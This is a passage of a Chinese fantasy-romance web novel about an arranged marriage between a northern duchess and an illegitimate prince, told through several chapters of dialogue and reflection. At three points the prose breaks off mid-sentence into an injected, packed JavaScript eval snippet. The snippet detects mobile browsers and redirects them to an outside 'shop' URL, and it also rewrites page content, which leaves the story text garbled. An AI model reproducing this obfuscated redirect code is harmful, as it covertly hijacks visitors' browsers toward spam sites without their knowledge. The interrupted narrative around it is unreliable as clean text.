“麻烦给你趴在地上的朋友保留一点尊严。”瑟洛里恩本来有点埋怨,但一想到对方很快就将返回王都,他们以后可能再也见不到彼此了,心中不禁有些伤感,“话说回来,你打算什么时候回王都?” “我并不打算回王都。” “……什么?” “我是说,我会继续留在北境。” 瑟洛里恩愣住了——诚然,他和黎塞留的关系相当不错,但绝不足以让对方甘愿一辈子陪他留在这种寒冷的蛮荒之地。何况布雷泽家族不仅声名显赫,家庭氛围也很融洽,黎塞留根本没有背井离乡的理由。 可能是他的反应过于夸张,黎塞留解释道:“我想留在这里继续接受公爵大人的教导。” “留在王都让你哥哥当你的老师不行吗?”克莱蒙梭·布雷泽是国王的首席骑士,在比武竞技大赛上屡屡斩获冠军,瑟洛里恩实在想不出黎塞留为什么要舍近求远。 “这不一样。”对方摇了摇头,“您没有亲眼目睹四年前的比武竞技大赛……” 瑟洛里恩又有点想翻白眼了——他怎么可能目睹过什么骑士比赛?当初他还是一个整日在后厨游荡的野孩子,只想找机会顺手牵羊偷走几个番茄,贵族老爷们在看台上的娱乐爱好与他毫无关系。 “凯洛公爵那时刚刚完成屠龙的伟业,来到王都向阿利斯特陛下进献毒龙之首作为礼物,顺便为自己的姐姐英格丽王后庆祝生日。”黎塞留继续道,“那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054151|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年也是我的出道之战……” “呃……你那时才十四岁,对吧?”他记得黎塞留应该和他同岁。 “是的,足以承担使命,成为一个真正的男人。”黎塞留说,“我本想在决赛与兄长一决胜负,上面似乎也有意这样安排,当时我和兄长被分到了最远的组别。” 这并不奇怪,黎塞留虽然年轻,却是同辈中最有天赋的剑士,就连他的兄长克莱蒙梭都曾表示他迟早会超过自己。 “然而,我在半决赛的对手正是公爵大人。”黎塞留似是陷入了回忆,“不出十个回合,我就被公爵击下了马,而这已经是她大发慈悲的结果,只有在决赛面对我的兄长时,她才稍微认真起来,那是一场精彩的较量,值得我回味终生……即便如此,兄长也没能逼出公爵大人的全部实力。” “到了后面的团体竞赛,她更是所向披靡,没有人敢靠近她十米之内。她的爱马贝斯特拉从此成为了名驹的代名词,而每当人们想要形容一个战士骁勇善战,就会称他有‘希瑟之勇’。” 瑟洛里恩回想了一下希瑟的体格:“她看起来确实力气很大。” “不止如此!”对方强调道,“许多人对凯洛公爵的看法都太过浅薄,以为她只是一个凭借力量和体型优势取胜的莽夫——事实上,凯洛公爵在各个方面都是十分杰出的战士,武艺精湛,反应敏捷,善于抓住时机。而且她经历过无数生死一线的瞬间,磨砺出了强大的心性,这是许多和平年代的骑士所无法企及的。” 他不由得打趣道:“难得见到你这么亢奋。” “我……”黎塞留脸上一红,有些不好意思地避开了他的目光,“抱歉,我只是……我很敬佩公爵大人……” 说着,他又把树枝捡了回来,但没有用它做什么,只是拘谨地双手握住它。瑟洛里恩认识他很久了,知道这是他陷入忐忑和惭愧时的本能反应。 “瑟洛里恩。”自从他被授爵为亲王后,对方已经很久没有这样直呼他的名字了,“我知道凯洛公爵并非人们理想中的那种妻子,如果你感到为难,不知该如何面对她,我可以私下帮助你,但请你千万不要给她虚假的希望。” 这不是瑟洛里恩第一次听到类似的话了:“不是——我到底做了什么,才会让你们都觉得我是一个花花公子?” 而且为什么所有人都觉得他会成为那个坏人?老天爷啊,希瑟·凯洛一只手就可以掐断他的脖子,就没有人担忧一下他的安危吗? 黎塞留踌躇了好一会儿,最终叹息一声:“好吧,也是时候让你知道这件事了……还记得我适才提到的比武竞技大赛吗?” “几分钟前的事情而已,我还没那么健忘。” “四年前,凯洛公爵不仅成功屠龙,还在比武竞技大赛上赢得了双料冠军,那本该是她风光无限的一年……然而,有件事终结了这一切。”黎塞留低声道,“凯洛公爵的未婚夫解除了和她的婚约。” 闻言,瑟洛里恩张了张嘴,却又不知道该说些什么。 “很快,流言蜚语席卷了整个王都。尽管凯洛公爵克服了毒龙劫,克服了阿利斯特陛下的刁难——我知道用这种恶意的想法揣度君主是不敬的,但所有人都对此心知肚明,陛下故意安排了所有骑士中最强壮的那位当她第一轮比赛的对手。” “可当她启程返回北境时,人们已经忘记了她是屠龙的英雄,也忘记了她在大赛上的英姿……他们只记得她被自己的未婚夫抛弃了,是一个可悲女人。” 4. 第四章 笃笃笃—— 门外的访客一言不发,但希瑟光听敲门声就知道那是她的小妹:“进来吧,伊薇。” 伊薇特可爱的小脑袋从门后探了出来。 她的气色相比之前健康了许多,也让希瑟多了几分心安,但很快她就察觉到了端倪——虽然脸上依旧挂着微笑,但她的小妹显然不再是那只快乐的小小鸟了,哪怕是不太熟悉她的人,也能感受到那张笑脸下散发的戾气。 “布琳迪丝女士已经告诉我了。”伊薇特说,“今天仆从收拾床铺的时候,说床单上干干净净,什么痕迹也没有。” 听到这里,希瑟就多半猜到她接下来要讲什么了。 “哼,果然是先王的种,就连一个私生子都敢在北境之主面前摆谱。”伊薇特下意识地咬起了指甲,“这种人就算留着也只会让家族蒙羞,不如找机会做掉他……” “不许啃指甲。”希瑟拍了拍膝盖,“到我这里来,伊薇。” 伊薇特乖乖坐到了她的腿上,体重轻得令人不安……她孱弱的小妹妹,希瑟时常会忘记她已经十五岁了。 希瑟从抽屉里拿出药膏,涂抹在她的指甲上——这是布琳迪丝女士想到的办法,除了护理指甲,药膏里还掺杂了苦素。苦素无毒,但那股苦味能提醒伊薇特不要啃指甲。 看到她坑坑洼洼的指甲边缘,希瑟不由得叹息一声:“是不是好几天都没涂了?” “谁让你们把雷蒙德送到王都去了。”伊薇特嘴上抱怨,脸上却多了几分甜蜜的红晕,“他不在旁边唠叨我,我一天要忘掉好多事。” 雷蒙德是伊薇特的未婚夫,两人从小一起长大,形影不离,鲜少像这样长时间地分开。 希瑟能够理解她的寂寞,但她此次派雷蒙德前往王都的原因非常特殊,还不方便向伊薇特透露……不过她了解那名小伙子的实力,不出意外的话,只需半年他就能返回北境了。 确保每一片指甲都涂上药膏后,希瑟才告诫道:“这次联姻背后有着复杂的政治意义,不要惹麻烦,伊薇。” “也是,结婚后没多久新郎就死了的话,确实有点可疑。”伊薇特陷入了沉思,“可以等个一年半载,这期间先用慢性毒药让他卧病在床,防止他在外面兴风作浪……” “伊薇!” 她的小妹不高兴地鼓着脸:“好吧,所以你打算拿那个私生子怎么办?” “首先,我们不称呼别人为‘那个私生子’。”她说,“不要辜负父母对我们的教导,当一个有礼貌的人,称呼他为殿下,或者瑟洛里恩……” 说着,希瑟的思绪不禁回到了昨晚。她想起自己问他是否害怕,他面上强装镇定,但当卧室的门被打开时,她却窥见了对方微笑下的恐惧和抵触。 坦诚说,希瑟心里并没有多么难过,毕竟她和对方才相识不到几天,还没有对彼此产生感情。她只是平静地接受了这个许多年前她就了然于心的事实……不会有人想和她结为夫妻,但凡一个人眼前还有其他选择,都不可能屈就她。 瑟洛里恩也不例外——在看到对方的第一眼,希瑟就知道这次的联姻注定是一场悲剧。无关乎出身,她所见到的只是一个谦卑、美丽的年轻人,若非命运的作弄,他们根本不会产生任何交集,如今他们却成为了彼此的伴侣,生活在同一屋檐下。 希瑟能看出他早年一定过得颇为艰辛,为了生存,他也许已经习惯了麻痹自己的心。她不想伤害对方,可又不知该如何面对他。她唯一能做的就是同他保持距离……愿他们能这样相敬如宾地度过余生。 “其次,昨晚是我自己选择不圆房的,与瑟洛里恩无关。”她试着温和地表达,“恐怕我还没有做好和某个男人共度一生的准备……伊薇,如果你不喜欢他,那就没必要和他有太多往来,在明面上保持礼貌就够了——最重要的是,不要为了维护我而去刻意针对他。” 说到这里,希瑟捏了捏她的小鼻子:“我希望你永远是一个快快乐乐、无忧无虑的女孩,好吗?” 伊薇特的表情跟快乐一点也不沾边,但她最后还是皱着脸点了点头,像是一只脑袋被强行摁进水盆里喝水的小猫。 希瑟很了解自己的妹妹,甜美无害的外表不过是假象,她袖子里的小刀就像贵妇人的羽毛扇一样如影随形。 不过据她观察,瑟洛里恩的性格远比伊薇特认知中要谨慎得多,不会在陌生的环境下轻易做出触怒他人的事情,应该没法让伊薇特逮到机会动用她的小刀。 送走妹妹之后,希瑟的注意力回到了公务上。 其中最令她忧虑的,莫过于萨迦里人①在边境一带活动的报告——他们的新首领伊瓦尔相当强势,不同于他能力平庸且安于一隅的父亲,伊瓦尔本人不仅勇猛善战,并且自始至终都是坚定的主战派,对于城墙另一侧的土地,他的野心早就蠢蠢欲动了。 三个月前,她曾考虑过接纳他们,像格奈乌斯国王当年那样吸收一部分敌人,削弱伊瓦尔王的势力,最后的结果却不如人意。那些萨迦里人表面上同意归降,实则是为了埋伏在城内,方便趁夜打开城门,与外面的同伴里应外合,然后在城镇里烧杀抢掠。 被占领的城镇没过多久就被夺了回来,然而在撤离之前,萨迦里人特意用死者的血在地上留下了字迹,嘲讽北境人是“躲在女人裙子底下的懦夫”。 这次失败让希瑟明白了两件事:一来,这些塞外之民不会甘愿臣服于一个女人的统治。二来,即使对他们心怀慈悲,也不会得到应有的回报。 血的教训只需要一次足矣,下次她必须斩草除根才行。 过了一会儿,外面又响起了敲门声,这一次是布琳迪丝女士,白盔堡的大管家。好在她并不像伊薇特那样是来盘问昨晚她为什么没有和丈夫圆房的,只是为了请示是否要让那几名来自王宫的仆从留下。 希瑟并不喜欢这些人,大概是在王宫待久了的缘故,他们都沾染了那种蔑视北境人的不良习气——事实上,南方的大部分贵族至今依旧认为他们都是茹毛饮血的野蛮人,与塞外的萨迦里人毫无区别。白盔堡对家仆的要求相当严格(谁都不希望五年前的事故再度上演),这些自以为高人一等的王室仆从都是不合格的。 话虽如此,他们在名义上是毕竟是瑟洛里恩的仆人,希瑟不想越过他做决定:“我个人没有什么倾向,以亲王殿下的想法为优先。” 布琳迪丝女士点了点头,但没有离开,而是静静地打量了她片刻——这位可敬的老女士不仅是白盔堡各种大小事务的操持者,也是她们的乳母,等同于半个母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我会试着不再逃避这一切。”希瑟最终还是屈服了——乐观地想,或许他们最后会找到某种双方都能接受的相处方式呢,“但请给我一些时间,您也知道,这对我而言并不是那么容易。” 闻言,对方终于露出了进屋后的第一个笑容:“我所求不多,只要您能有这样的想法就足够了。” 布琳迪丝女士离开后,希瑟感到如释重负。亲人的关怀总是令她倍感熨帖,但有时也会给她带来一些负担。 她在火漆上印下凯洛家族的印章,差人将其交付给信使。 “是,大人。”仆从回答,“另外,瑟洛里恩殿下托我向您问一声,他没能在午餐时间见到您,想知道您是否会和他共进晚餐。” 希瑟愣了一下——经历过昨晚之后,她还没做好和对方再次见面的准备。 但无论怎样心烦意乱,她也知道婚礼刚结束自己就躲着对方会产生许多不好的影响,她的丈夫处境已经够尴尬了,没必要因为自己的软弱而让别人为流言所扰。 “晚上我会准时出席的。”她回答,“今天预定的餐后甜点是什么?” “是柠檬挞,大人。” “……改成奶油派,多放点莓果在上面。” “是,大人。” 5. 第五章 结束了和黎塞留的对练之后,瑟洛里恩回来洗了个澡——白盔堡的公共浴池简直是天堂,如果不是泡太久皮肤会发白起皱,他真想一辈子住在里面。 城堡里的仆从不多,但都勤快而麻利,很快便收走了他换下的衣物并送上新的,全程机敏而安静,不像王宫里的仆从那样喜欢到处嚼人舌根。 但是话说回来,哪怕一只会剥香蕉的猴子都比王宫里出来的人要好得多,白盔堡里的仆从显然值得更好的赞美。 回到卧室后,他在镜子前折腾了一会儿香水,但最后发现他可能对里面的某种物质过敏,打了好一阵喷嚏。万幸的是,希瑟并没有在午餐时间出现,否则对方就会见到他在餐桌前不停擤鼻涕的样子了。 但话又说回来了——为什么希瑟没有在午餐时间出现? 瑟洛里恩见识过很多贵族,从身份较低的子爵到高不可攀的王族,他基本都能把对方的心思猜得八九不离十,这也是他能在王宫里顺利活到成年的秘诀。 而他的妻子却是其中为数不多的例外,他完全摸不透她在想什么。 按照常理,瑟洛里恩本以为对方起初会讨厌他的身份(考虑到凯洛家族和王室之间糟糕的关系),然后看在他颇有姿色的份上生出几分心软。作为一个现实的人,他倒不太介意靠出卖脸蛋换取一些好处……当然,考虑到他们是夫妻,他可能还要兜售一点别的部分。 然而,希瑟似乎不打算从他这里索取任何东西,她的态度甚至连若即若离都谈不上,只有谨慎和疏远。 除此之外,她对他确实不错,没有说要限制他的花销,也没有让她的妹妹或者城堡里的某个主事者来给他一个下马威。仆从们都表现得十分恭敬,从不怠慢他的要求。即便是在他们新婚的晚上,对方说话时的口吻也很温和,不带任何厌烦和鄙弃。 真是非常的……奇怪。 如果瑟洛里恩再年轻一点,或许真的会相信世界上有免费的午餐,相信只要做一个好孩子,上天就会用幸福的生活奖励他。 但他已经过了沉迷童话故事的年纪,知道每一份礼物背后其实早就标好了价格,哪怕送礼物的是许多人口中的“好人”。 希瑟·凯洛不可能无缘无故地善待他,但她究竟想从他身上得到什么呢? 事实证明,当一个人感到心神不宁时,就会下意识地躲回自己的舒适区——尽管希瑟古怪的态度令瑟洛里恩感到不安,但他并非那种长袖善舞,可以自来熟地跟别人套近乎获取情报的类型,他更擅长躲在某个角落里不被任何人察觉,像空气一样生活。 所以在沉重的心理负担之下,他本能地来到了藏书馆……噢,对了,希瑟确实履行了诺言,命人送来了藏书馆的钥匙。虽然不是伊薇特亲自送的,但说实话瑟洛里恩也不太想见到她,直觉告诉他最好离那个小姑娘越远越好。 诚如希瑟所说,白盔堡的藏书馆确实很大,也许在藏书数量上比不了王宫,但能从许多细节看出这里曾被人精心布置过。地上铺着厚实的地毯,所有书架都由橡木打造而成,木头表面涂抹了一层松脂,空气中弥漫着淡淡的草木芬芳。墙上的油灯外都套了一层烛罩,避免蜡烛的星火溅到书籍。 书架的每一层都摆满了书,分类的方式也很有门道,先是根据书的内容进行分类,然后同一分类下的书籍则按照书名的首字母依次排列——意味着布置藏书馆的人对这些书一定很了解,至少都看过一遍。 瑟洛里恩还注意到,许多藏书分为旧版和新版,旧版基本都是羊皮纸,而新版大多是木浆纸。如果藏书馆是在前公爵夫人嫁到北境后才建立的,说明木浆纸工艺在北境得以普及也就是近十几年的事。 现任的藏书馆管理员是一位年轻姑娘,名叫蕾贝卡,有着一头海藻般的黑色长发和橄榄绿色的眼睛,长相文静秀丽,但不太容易给人留下印象。瑟洛里恩跟她打了个招呼,但等他走到“皮革毛皮制品”书架的时候,脑海里就只剩下了“那个头发像海藻的人”。 呃……这太失礼了,他最好还是礼貌地称她为“藏书馆员”。 瑟洛里恩从书架上取下了一本名为《动物皮毛处理图解》的书,书中详细地讲解了该如何将死后的猎物剥皮、清洗、晾晒,最终制成皮草。插图非常精美,尽管画了动物骨肉的解剖图,却并未给人血腥之感。 他兴致勃勃地看了一会儿,发现这本书应该是三个人合力撰写的——书中有三种不同的字迹,风格类似,但能看出一些细微的区别。插图的画师应该有两个人,但这种差异只出现在书的前半本里,后半本的插画应该都是由同一个人绘制的。 书的末尾标注了《皮革制品工艺》是这个系列的第二本书。 其实瑟洛里恩最初来到藏书馆,目的是想查阅一下北境有哪些流行的爱情诗——无论希瑟会不会再逃掉晚餐,他们晚上总还是要在卧室里见面的,他想提前做点准备。 可是人在面对自己喜爱的东西时怎么可能轻易说“不”呢?此刻瑟洛里恩已经完全忘记了他来这里的初衷,拿起《皮革制品工艺》如饥似渴地读了起来。这本书讲述的是如何鞣制皮革,在裁剪时要怎样处理箭矢留下的孔洞,以及如何用皮革制作衣物、水囊、盾牌等等。 不过这本书的叙述风格比较一板一眼,并不像它的前作那样充满趣味。虽然内容很有意思,插图也依旧精美,读起来却远没有上一本那样自然流畅。而且这本书里只剩下了两个人的字迹,插图的画师也只有一位。 《皮革制品工艺》的末尾并没有标注下一本书的名字,取而代之的则是一篇字迹歪歪扭扭的后记。令瑟洛里恩吃惊的是,这篇后记居然出自前公爵夫人爱丽诺尔之手。 后记中提到,她此生最大的梦想就是编纂一本北境百科全书,涵盖了北境在人文、地理、工艺等方面所需要的全部知识,但因为她的身体问题,百科全书写到第三个系列(另外两个系列是《诗歌》和《食物》)就被迫中止了。 “在撰写本书时,我的身体已经非常糟糕了,甚至无法拿起笔。感谢我亲爱的孩子——西格德和希瑟,感谢你们帮助我完成心愿。” 看到这里时,瑟洛里恩怔住了。 “如果你喜欢这本书,请不要将荣誉错误地归于我,我的孩子几乎完成了所有工作。西格德负责了大部分内容的书写,希瑟补完了剩余的部分,并为它们绘制了精巧的插图。也许我无法亲自完成这本百科全书了,但一想到我的孩子们将在未来延续我的理想,我的心便溢满了幸福,不再有任何遗憾。” 所以绘制这些插图的画师是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054153|149120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……希瑟? 瑟洛里恩当然明白人不可貌相的道理,但这未免也太违和了——如果硬要让对方和绘画沾上点关系,他能想象出的唯一情况是她砍下了敌人的脑袋,然后用麻绳将尸体绑在马后,在泥沙地上拖出一条长长的血迹。 话虽如此,爱丽诺尔夫人根本没有必要撒谎,瑟洛里恩只能坦然接受了现实。何况,这样博学多才的母亲不可能有一个脑袋空空、胸无点墨的女儿。 这或许会是一个很好的切入点——瑟洛里恩确实学过一点剑术,但仅止于皮毛,不可能通过切磋拉近和希瑟的关系。可如果对方也喜欢看书,他们能够交流的内容一下子就多了起来,以后回到卧室里也有话可聊了。 而且仔细一想,他们新婚当晚希瑟就在看书……对了,他最好回去看看那天晚上对方在看哪方面的书,以便揣摩她的偏好。 在万般不舍地离开了藏书馆后,瑟洛里恩快步走回卧室,希瑟的书果然还在桌上。他如获至宝地拿了起来,书的名字是《诗歌之美Ⅰ》——按照后记上的说法,这本书应该属于百科全书的《诗歌》系列,是由爱丽诺尔夫人亲自汇编的。 希瑟怀念母亲的字迹倒是不奇怪,他只是没想到她竟然会对诗歌感兴趣……无论是她留给世人的印象,还是她在《动物皮毛处理图解》里对于动物内脏和骨骼的详细描绘,都不免让人以为她是一个偏向实用主义的人。 但在奇怪之余,他又莫名有点不好意思。虽然希瑟没有特意隐瞒自己的爱好,但他还是有种仿佛窥视了别人秘密的心虚。 然而,他的身体已经坦诚地翻开插有书签的那一页:“在温馨的幽暗里,我只能猜想,这时令该把哪种芬芳赋予这果树、林莽和草丛,这白枳花和田野的玫瑰……①” 喔噢……她实际的文学品味可能比他想象中要浪漫得多。 虽然这没什么不好的。 或者说……这样其实挺好的? 毕竟,按照希瑟的出身、地位和荣誉,她完全可以成为一个比现在糟糕上几百倍的人,而且不会有人胆敢责怪她。她可以看谁不顺眼就对那个人拳打脚踢,见到喜欢的东西就出手掠夺,对谁都是一副趾高气昂的样子,一辈子都读不进几个有价值的文字……这在贵族中是再正常不过的事情。 倒不如说希瑟才是那个有问题的人。 考虑到她因为外貌而承受的诸多非议,她的脾气应该更坏一点,爱好应该更粗鲁一点才对,而不是在夜深人静之际独自品读这些优美的诗篇。 她不应该是这样一个好人,好到几乎让他萌生出了错觉——或许他们会很合拍,或许他们会享受彼此的陪伴,或许他糟糕的一生还有机会获得一些幸福。 这种想法很危险,他可能会为此付出生命的代价。 没有多少容错率的人生就是这样,不能轻易对自己不确定的东西抱有期待。 正当他试着将思绪从那些不切实际的幻想中抽离出来时,忽然响起了一阵敲门声。 “殿下。”仆从在门外说道,“公爵大人说她会照常出席晚餐。” “……知道了。”瑟洛里恩听见了自己的声音——如此遥远,还有一点陌生,就好像那是从其他人口中说出来的。 他知道自己已经准备好了。 6. 第六章 在前往城堡大厅的路上,瑟洛里恩意外遇见了白盔堡的大管家。 尽管他们仅仅见过两面,对方留给他的影响却极为深刻——布琳迪丝两鬓斑白,看起来约摸五十多岁,不算非常高挑,并且和许多年纪渐长的老人一样身材枯瘦,然而她的眉目中有种劲松般的坚毅,昭示着这具垂老的身躯下仍有着如磐石般的意志。即便是贵为公爵的希瑟,也会敬重地称其为“布琳迪丝女士”。 “瑟洛里恩殿下。”布琳迪丝一丝不苟地行了礼,“很抱歉打扰您前去用餐了,但眼下还有一件重要的事情需要您定夺。” 呃……最好不是质问他“要不就和公爵大人圆房,要不就去死”之类的。他昨晚的表现可能不算特别完美,但他很确定这个问题的主要责任在公爵大人身上。 “事关您从王都带来的三位仆人。”布琳迪丝继续道,“五年前,因为某些原因,白盔堡发生了一些动荡……自那之后,城堡对于仆从的考核就极为严格。并非是我刻意针对您的人,但至少目前看来,他们在本职工作上颇为懈怠,对其他仆从的态度也有失礼貌。伍洛德大人将于明日启程,假如您对这几位仆人没有太多眷恋,我会安排他们随行返回王都,然后为您安排新的仆人。” 如果要论瑟洛里恩的本心,他恨不得当场握住对方的手并且感激涕零——天呐,终于有人能把他们打发走了——但就和大嘴怪一样,这三名仆人也是国王派来监视他的,确保他履行自己身为“王室礼物”的职责。虽然表面上是主仆关系,但他的地位并不比他们更高,自然也没有权力撵走他们。 “让他们留下吧,我已经习惯他们的服侍了。”其实除了大婚当日,这几个人绝大多数时候都赖得过来伺候他。不过瑟洛里恩还是很高兴自己能够面不改色地作出回应,希望等会儿他向希瑟撒谎的时候也能这样镇定自若。 告别布琳迪丝后,瑟洛里恩继续向城堡大厅走去。路上,他感受到了一丝迟来的危机感——就像伍洛德一样,一旦联姻破裂,这几个负责监视他的人也不会有好下场。但以他对那几个人的了解,他们恐怕很难正确理解自己的处境,不明白他们其实是一条绳子上的蚂蚱。 出不意外的话,等他们逐渐适应北境的生活,了解到可以通过哪些渠道寻欢作乐之后,就会用他是私生子的秘密向他勒索钱财了。 世上最令人绝望的情况,莫过于那些本该成为你助力的人却是一群实打实的蠢猪。瑟洛里恩不会把希望寄托在他们的智力上,在真相败露之前,他必须想尽一切办法得到希瑟的垂爱。 当瑟洛里恩抵达大厅的时候,他的妻子已经在餐桌前静候了。 按照传统的餐桌位置排序,男女主人理应相对而坐。希瑟身为凯洛公爵,自然是坐在主座上的,那么理论上他就应该坐在长桌的另一端,也就是希瑟的正对面。 可是根据餐具的摆设,他的座位似乎紧挨着希瑟的右手边,也就是主宾的位置……单从距离上说,这是一个非常亲密的位置。 是对中午缺席的补偿吗……? 瑟洛里恩偷偷打量了一下希瑟,发现她好像也有点坐立不安,可能不是她主观意志的结果。 随后,他又意识到桌上只有两副餐具,说明伊薇特今晚并不打算出席。 嚯,他的小姨子居然意外地是一个好人……瑟洛里恩不禁为昨天自己在心里偷偷腹诽她而忏悔了几秒。 但表面上,他还是若无其事地与希瑟打了招呼,然后佯装不经意地问道:“伊薇特小姐呢?” “伊薇今天有点精神不济,打算在房间里用餐。” “希望她身体无恙。”这句绝对是真心话。 经过一番简单的寒暄后,希瑟用汤匙敲了敲银杯,仆从们自大门鱼贯而入,端上主菜、面包和奶酪,温热的葡萄酒散发出氤氲的甜香,和椒盐猪肋排的咸香交织在一起,令人喉咙干渴。 好在瑟洛里恩还没有因为口腹之欲而忘记正事——既然他的目的是在今晚和希瑟成为真正的夫妻,有些事情就得提前铺垫了。 “请稍等一下,不先做餐前祈祷吗?”他适时地开口道,“抱歉……作为信徒,不进行餐前祈祷就用膳的话,我实在是不太习惯。” 是的,他必须强化自己身为“虔诚信徒”的形象,如果希瑟对他在床上的青涩表现有所怀疑,这就是一个顺理成章的借口。 凯洛家族显然没有餐前祈祷的习惯,但希瑟还是收回了方才伸向刀叉的手:“当然可以,我们都尊重王国的信仰。” 瑟洛里恩微笑着点了点头,双手交握抵在胸前,低声道:“主啊,世间万物的创造者,感谢您的赐予,让我们拥有丰盛的食物,我等将以善行回报您的恩情,所做的一切都是为了荣耀您之名。” 然而这些都是屁话。他们的国王陛下是世界上最不缺少衣食的人,但他从未想过要回报什么善行——话虽如此,阿利斯特只要坐在王座上安静地呼吸,不要没事就去给别人添堵,所做的贡献就已经比他小半辈子加在一起还绰绰有余了。 而那些生活不堪重负,只好将希望全部寄托在神明身上的信徒们,十年如一日地将仅存的积蓄投入赎罪箱,祈求有一天能够获得天父的眷顾。他们的余生将会继续过着贫苦的日子,他们的孩子也将重复他们的命运。 天父并不会因为你是一个好人就眷顾你——瑟洛里恩很小就明白了这个道理,他不会把未来托付给虚无缥缈的神明,机会是要靠自己去争取的。 所以他不得不忍痛拒绝了那杯冒着热气的葡萄酒:“我不怎么饮酒,给我一杯温水就好。” 希瑟点了点头,并没有怀疑什么。许多新教信徒都过着清心寡欲的生活,即使日常禁酒也不值得奇怪。 一阵沉默过后,希瑟主动开口道:“你来北境也有几天了,对这里的生活还算适应吗?” “除了气候有点冷,其他方面都很不错。北境和王都有许多迥异之处,我很期待了解更多当地的文化。”即将进入正题,瑟洛里恩心里也略微紧张,“对了,下午我参观了白盔堡的藏书馆,确实如你说的那样巨大,丝毫不逊色于王宫的藏书馆。” 闻言,希瑟不禁面露微笑,似乎感到与有荣焉:“很高兴你喜欢那里,藏书馆是我母亲毕生的心血……” 说到这里,她忽地停住了,神情中多了几分伤感。 “事实上,白盔堡曾经遭受过毒龙之焰的摧残,幸亏火势没有扩散到东翼,母亲的心血才得以完整保留下来。命运对北境从不宽容,但它终究还是留下了一些美好的东西……说到这个,你平日最好不要去城堡的西北角。” 瑟洛里恩的心提了起来:“是禁止外人踏入吗?” “也是一部分原因,那里是凯洛家族的墓园。”希瑟解释道,“除此之外,那里也是当时被龙焰毁坏得最严重的地方。除了墓园,那里还有一座坍塌了一半的焦塔,是白盔堡曾经的哨塔。虽然倒塌的墙砖已经被清理了,但剩下的半截塔楼依然摇摇欲坠。” 说着,她轻轻叹息一声:“寒风穿过焦塔的缝隙时,发出的声音犹如凄厉的恸哭,许多人私下称它为嚎哭塔,不过没人敢在我面前这么说,只称那是‘旧塔’……其实我不太介意,这个不祥的名字确实与那座焦塔相衬。” 其实听到这里,瑟洛里恩的思绪已经有点卡住了。 他是一个做事必须按照计划来的人——根据他的设想,他应该借由那两本书,先是称赞前公爵夫人学识渊博,再称赞希瑟的画工精湛,然后提到自己也曾替教会做过一些给古抄本画边页装饰的工作,通过两人共同的爱好拉近彼此的关系。 最后,整个话题将被引向对诗歌的鉴赏。在谈话期间,他会抓准时机,引用几句希瑟极有可能会喜欢的爱情诗…… 总之他的计划是完备,循序渐进,一环扣一环的,所以当话题突然中断时,瑟洛里恩短暂地陷入了大脑空白的状态。 另一方面,他又对毒龙的事情很感兴趣。虽然巨龙曾在无数神话史诗中出现过,但被确认真实存在的仅此一例。 瑟洛里恩很遗憾自己没能亲眼目睹——当然,只是学术意义上的,他对毒龙之死没有半点遗憾,毕竟死掉的龙才是好龙。 虽然不过是只言片语,但他还是被激发了好奇心。世上绝对没有人敢自称比屠龙者更了解这只龙,但同时他又有点担心自己贸然询问会勾起希瑟的伤心事,最终惹得她不快……毒龙死了就是死了,他可是要好好活下去的。 倒是希瑟仿佛看出了他的顾虑,微微摇头:“没关系,我不介意别人向我问起埃特尔①的事情——噢,抱歉,‘埃特尔’是北境人给毒龙起的名字,因为……” “我知道!”瑟洛里恩忍不住雀跃道,“我在书里看到过!埃特尔是纳维亚神话中一切毒素的起源,是从世界树烂掉的根上分泌出来的,就连神明都无法承受埃特尔的毒性。阴谋与纷争之神用涂了埃特尔的箭矢划破了太阳神的皮肤,使得太阳神车从天际坠落,太阳神的灵魂也被拖入了冥界,尘世间从此陷入了黑暗……” 他完全克制不住自己的兴奋之情,差一点就要手舞足蹈起来了:“为了找回光明,众神之父斯诺里不得不亲自下到冥界,请求死亡女神允许太阳神回到人间,却发现太阳神已经同死亡女神结为夫妻。” “经过诸神的再三恳求,外加太阳神也更喜欢尘世间的生活,死亡女神只好与众神之父达成协议,答应让太阳神重返人间,但每年有四分之一的时间必须回到冥府,向她履行丈夫的义务。” 瑟洛里恩推测这个神话的诞生和纳维亚人曾经的生活环境有关。据说那里一年有三分之二的时间都是寒冬,而冬季里又有三个月是整日不见光照的极夜——纳维亚人称之为“日殇季”,因为他们认为那三个月里太阳神是返回冥界陪他的妻子去了。 过了一会儿,他才后知后觉地察觉到了希瑟脸上沉静的微笑,发现自己好像有点得意忘形了:“呃……我姑且算是半个神学家,其他地域的神话故事也在我的研究范畴内……” 他当然撒谎了——无论新教还是旧教,都非常忌讳信徒接触异教的神话。教会认为那些异教神都是伪神,他们的故事会诱使信徒对天父丧失崇敬之心,最终偏离正道。 瑟洛里恩知道这个谎言很拙劣,只能默默祈祷凯洛家族作为不怎么纯正的新教信徒,不会了解太多这方面的情况。 “不必紧张。”希瑟笑了一声,“学者们谈到自己感兴趣的事物时总是这样兴奋,我母亲生前也是如此,只是……来到北境之后,你好 